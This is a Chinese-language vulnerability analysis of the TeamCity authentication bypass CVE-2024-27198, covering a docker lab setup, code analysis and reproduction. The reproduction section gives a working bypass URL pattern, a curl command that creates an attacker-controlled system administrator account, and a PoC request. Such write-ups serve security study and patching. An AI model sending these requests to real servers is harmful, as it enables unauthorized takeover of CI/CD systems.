Teamcity认证绕过致代码执行漏洞_CVE-2024-27198
摘要
Teamcity 认证绕过致代码执行漏洞(CVE-2024-27198)
1 漏洞简介
JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。
JetBrains TeamCity在2023.11.4版本之前存在认证绕过漏洞,允许执行管理员操作。攻击者可以精心设计一个 URL,以避免所有身份验证检查,从而允许未经身份验证的攻击者直接访问需要身份验证的端点。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器。
2 影响范围
Teamcity < 2023.11.4
3 环境搭建
3.1 导入docker image
1 | $ docker load -i teamcity.tar |
3.2启动环境
1 | docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity:web |
3.3docker-compose.yml(与上述启动环境方式二选一即可)
为了方便调试,可以利用docker-compose.yml增加一个调试端口映射5050端口。
1 | version: '2' |
添加user参数为0可以用root权限进行启动。
1 | docker-compose up -d |
3.4导出源码
环境起来后,进入容器内部。
1 | docker exec -it id bash |
从上图可以看到teamcity的安装目录,进一步寻找即可找到源码所在目录/opt/teamcity/webapps/ROOT
。
利用docker cp命令将源码拷贝出来。
1 | $docker cp Name:/container_path to_path |
3.5IDEA调试
利用IDEA加载拷贝出的源码。通过 IDEA 引入并增加相关依赖。
编辑JVM调试环境。
我是从kali虚拟机启动的环境,所以主机设置为192.168.197.128,因为docker-compose.yml映射出来的调试端口是5050,所以将JVM调试的端口设置为5050。
将远程JVM的命令行实参复制,下面会用到。
1 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 |
通过 ps aux
和 ps -le
可以确定启动脚本的位置和父进程。
由于该docker环境中没有vi和vim命令,利用apt进行vim下载。
1 | apt update && apt install -y vim |
利用vim编辑启动脚本/opt/teamcity/bin/teamcity-server-restarter.sh
。(可提前进入/opt/teamcity/bin/目录,方便后续操作)
将刚才复制的命令行实参加进去。
根据提示重启服务。
现在在IDEA中即可下断点进行调试。
4 漏洞分析
该漏洞存在于该类jetbrains.buildServer.controllers.BaseController
处理某些请求的方式上,这个类是在web-openapi.jar
库中实现的。在源码中找到web-openapi.jar
并将它右键添加为库,然后进行代码分析。
我们可以在下面看到,当BaseController
类中的方法正在处理handleRequestInternal
请求时,如果请求没有被重定向(即处理程序未发出 HTTP 302 重定向),则将调用updateViewIfRequestHasJspParameter
方法。
1 | public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception { |
在下面列出的方法中,我们可以看到,如果当前modelAndView
请求有名称,并且当前请求的 servlet 路径不以 .jsp
结尾,则updateViewIfRequestHasJspParameter
该变量isControllerRequestWithViewName
将被设置为 true 。
我们可以通过向服务器请求 URI 来生成 HTTP 404 响应来满足此要求。这样的请求将生成一个 servlet 路径/404.html
。.html
我们可以注意到,这以而非结尾.jsp
,因此isControllerRequestWithViewName
will 为真。
接下来我们可以看到该方法getJspFromRequest
将被调用,并且该调用的结果将传递给 Java Spring 框架ModelAndView.setViewName
方法。这样做的结果允许攻击者更改 正在处理的 URL DispatcherServlet
,从而允许攻击者在可以控制变量内容的情况下调用任意端点 jspFromRequest
。
1 | private void updateViewIfRequestHasJspParameter( { HttpServletRequest request, ModelAndView modelAndView) |
要了解攻击者如何指定任意端点,我们可以检查getJspFromRequest
下面的方法。
此方法将检索当前请求中指定的 HTTP 参数jsp
的字符串值。将测试该字符串值以确保它以受限路径.jsp
段结尾且不包含受限路径段admin/
。
1 | protected String getJspFromRequest( { HttpServletRequest request) |
5 漏洞复现
要了解如何利用此漏洞,我们可以定位示例端点。端点/app/rest/server
将返回当前服务器版本信息。如果我们直接请求该端点,则请求将失败,因为请求未经身份验证。
要利用此漏洞成功调用需要经过身份验证的端点/app/rest/server
,未经身份验证的攻击者必须在 HTTP(S) 请求期间满足以下三个要求:
请求未经身份验证的资源,该资源会生成 404 响应。这可以通过请求不存在的资源来实现,例如:
/polar
传递名为 jsp 的 HTTP 查询参数,其中包含经过身份验证的 URI 路径的值。这可以通过附加 HTTP 查询字符串来实现,例如:
?jsp=/app/rest/server
确保任意 URI 路径以 .jsp 结尾。这可以通过附加 HTTP 路径参数段来实现,例如:
;.jsp
对于
http://192.168.197.128:8111/pwned?jsp=/app/rest/users;.jsp
,请求参数jsp
的值是/app/rest/users;.jsp
,这个值包含了一个分号;
,后面跟着.jsp
。在这种情况下,.jsp
并不是路径的结尾,因此如果使用request.getServletPath().endsWith(".jsp")
,结果将是false
。对于
http://192.168.197.128:8111/pwned?jsp=/app/rest/users.jsp
,请求参数jsp
的值是/app/rest/users.jsp
,这个值直接以.jsp
结尾。在这种情况下,如果使用request.getServletPath().endsWith(".jsp")
,结果将是true
,因为路径的结尾正好是.jsp
。
结合上述要求,攻击者的URI路径变为:
1 | /polar?jsp=/app/rest/server;.jsp |
例如,未经身份验证的攻击者可以通过针对/app/rest/users
REST API 端点,使用攻击者控制的密码创建新的管理员用户:
1 | curl -ik http://192.168.197.128:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" |
poc数据包。
1 | POST /polar?jsp=/app/rest/users;.jsp HTTP/1.1 |
6 漏洞修复
升级到2023.11.4及以上版本。